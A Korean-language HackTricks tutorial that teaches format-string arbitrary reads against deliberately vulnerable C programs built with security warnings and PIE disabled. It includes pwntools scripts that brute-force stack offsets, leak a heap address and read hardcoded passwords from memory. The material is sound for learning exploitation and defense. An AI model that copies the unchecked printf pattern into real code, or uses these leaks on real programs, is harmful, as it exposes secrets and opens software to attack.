Format Strings - Arbitrary Read Example

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Read Binary Start

์ฝ”๋“œ

#include <stdio.h>

int main(void) {
char buffer[30];

fgets(buffer, sizeof(buffer), stdin);

printf(buffer);
return 0;
}

๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ปดํŒŒ์ผํ•˜์„ธ์š”:

clang -o fs-read fs-read.c -Wno-format-security -no-pie

์ต์Šคํ”Œ๋กœ์ž‡

from pwn import *

p = process('./fs-read')

payload = f"%11$s|||||".encode()
payload += p64(0x00400000)

p.sendline(payload)
log.info(p.clean())
  • ์˜คํ”„์…‹์€ 11์ž…๋‹ˆ๋‹ค. ์—ฌ๋Ÿฌ ๊ฐœ์˜ A๋ฅผ ์„ค์ •ํ•˜๊ณ  ๋ธŒ๋ฃจํŠธ ํฌ์‹ฑ์„ ํ†ตํ•ด 0์—์„œ 50๊นŒ์ง€์˜ ์˜คํ”„์…‹์„ ์ฐพ์€ ๊ฒฐ๊ณผ, ์˜คํ”„์…‹ 11์—์„œ 5๊ฐœ์˜ ์ถ”๊ฐ€ ๋ฌธ์ž(์šฐ๋ฆฌ์˜ ๊ฒฝ์šฐ ํŒŒ์ดํ”„ |)์™€ ํ•จ๊ป˜ ์ „์ฒด ์ฃผ์†Œ๋ฅผ ์ œ์–ดํ•  ์ˆ˜ ์žˆ์Œ์„ ๋ฐœ๊ฒฌํ–ˆ์Šต๋‹ˆ๋‹ค.
  • **%11$p**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํŒจ๋”ฉ์„ ์ถ”๊ฐ€ํ•˜์—ฌ ์ฃผ์†Œ๊ฐ€ ๋ชจ๋‘ 0x4141414141414141์ด ๋˜๋„๋ก ํ–ˆ์Šต๋‹ˆ๋‹ค.
  • ํฌ๋งท ๋ฌธ์ž์—ด ํŽ˜์ด๋กœ๋“œ๋Š” ์ฃผ์†Œ ์•ž์— ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. printf๋Š” ๋„ ๋ฐ”์ดํŠธ์—์„œ ์ฝ๊ธฐ๋ฅผ ๋ฉˆ์ถ”๊ธฐ ๋•Œ๋ฌธ์—, ์ฃผ์†Œ๋ฅผ ๋ณด๋‚ด๊ณ  ๋‚˜์„œ ํฌ๋งท ๋ฌธ์ž์—ด์„ ๋ณด๋‚ด๋ฉด, printf๋Š” ๋„ ๋ฐ”์ดํŠธ๊ฐ€ ๋จผ์ € ๋ฐœ๊ฒฌ๋˜์–ด ํฌ๋งท ๋ฌธ์ž์—ด์— ๋„๋‹ฌํ•˜์ง€ ๋ชปํ•ฉ๋‹ˆ๋‹ค.
  • ์„ ํƒ๋œ ์ฃผ์†Œ๋Š” 0x00400000์ž…๋‹ˆ๋‹ค. ์ด ์ฃผ์†Œ๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ์‹œ์ž‘๋˜๋Š” ๊ณณ์ž…๋‹ˆ๋‹ค(PIE ์—†์Œ).

๋น„๋ฐ€๋ฒˆํ˜ธ ์ฝ๊ธฐ

#include <stdio.h>
#include <string.h>

char bss_password[20] = "hardcodedPassBSS"; // Password in BSS

int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];

printf("Enter first password: ");
scanf("%19s", input1);

printf("Enter second password: ");
scanf("%19s", input2);

// Vulnerable printf
printf(input1);
printf("\n");

// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}

return 0;
}

๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ปดํŒŒ์ผํ•˜์„ธ์š”:

clang -o fs-read fs-read.c -Wno-format-security

์Šคํƒ์—์„œ ์ฝ๊ธฐ

**stack_password**๋Š” ๋กœ์ปฌ ๋ณ€์ˆ˜์ด๊ธฐ ๋•Œ๋ฌธ์— ์Šคํƒ์— ์ €์žฅ๋ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ printf๋ฅผ ์•…์šฉํ•˜์—ฌ ์Šคํƒ์˜ ๋‚ด์šฉ์„ ๋ณด์—ฌ์ฃผ๋Š” ๊ฒƒ๋งŒ์œผ๋กœ ์ถฉ๋ถ„ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์Šคํƒ์—์„œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์œ ์ถœํ•˜๊ธฐ ์œ„ํ•ด ์ฒ˜์Œ 100๊ฐœ์˜ ์œ„์น˜๋ฅผ BFํ•˜๋Š” ์ต์Šคํ”Œ๋กœ์ž‡์ž…๋‹ˆ๋‹ค:

from pwn import *

for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()

์ด๋ฏธ์ง€์—์„œ 10๋ฒˆ์งธ ์œ„์น˜์—์„œ ์Šคํƒ์—์„œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์œ ์ถœํ•  ์ˆ˜ ์žˆ์Œ์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

๋ฐ์ดํ„ฐ ์ฝ๊ธฐ

%s ๋Œ€์‹  %p๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋™์ผํ•œ ์ต์Šคํ”Œ๋กœ์ž‡์„ ์‹คํ–‰ํ•˜๋ฉด %25$p์—์„œ ์Šคํƒ์—์„œ ํž™ ์ฃผ์†Œ๋ฅผ ์œ ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ, ์œ ์ถœ๋œ ์ฃผ์†Œ(0xaaaab7030894)๋ฅผ ํ•ด๋‹น ํ”„๋กœ์„ธ์Šค์˜ ๋ฉ”๋ชจ๋ฆฌ์—์„œ ๋น„๋ฐ€๋ฒˆํ˜ธ์˜ ์œ„์น˜์™€ ๋น„๊ตํ•˜๋ฉด ์ฃผ์†Œ ์ฐจ์ด๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

์ด์ œ ๋‘ ๋ฒˆ์งธ ํฌ๋งท ๋ฌธ์ž์—ด ์ทจ์•ฝ์ ์—์„œ ์ ‘๊ทผํ•˜๊ธฐ ์œ„ํ•ด ์Šคํƒ์—์„œ 1๊ฐœ์˜ ์ฃผ์†Œ๋ฅผ ์ œ์–ดํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์ฐพ์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค:

from pwn import *

def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)

for i in range(30):
p = process("./fs-read")

heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")

password_addr = heap_leak_addr - 0x126a

print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"

p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()

๊ทธ๋ฆฌ๊ณ  ์‚ฌ์šฉ๋œ ํŒจ์Šค๋ฅผ ํ†ตํ•ด try 14์—์„œ ์ฃผ์†Œ๋ฅผ ์ œ์–ดํ•  ์ˆ˜ ์žˆ์Œ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Exploit

from pwn import *

p = process("./fs-read")

def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)

heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")

# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc

print(f"Calculated address is: {hex(password_addr)}")

# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)

p.sendline(payload)
output = p.clean()
print(output)
p.close()

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ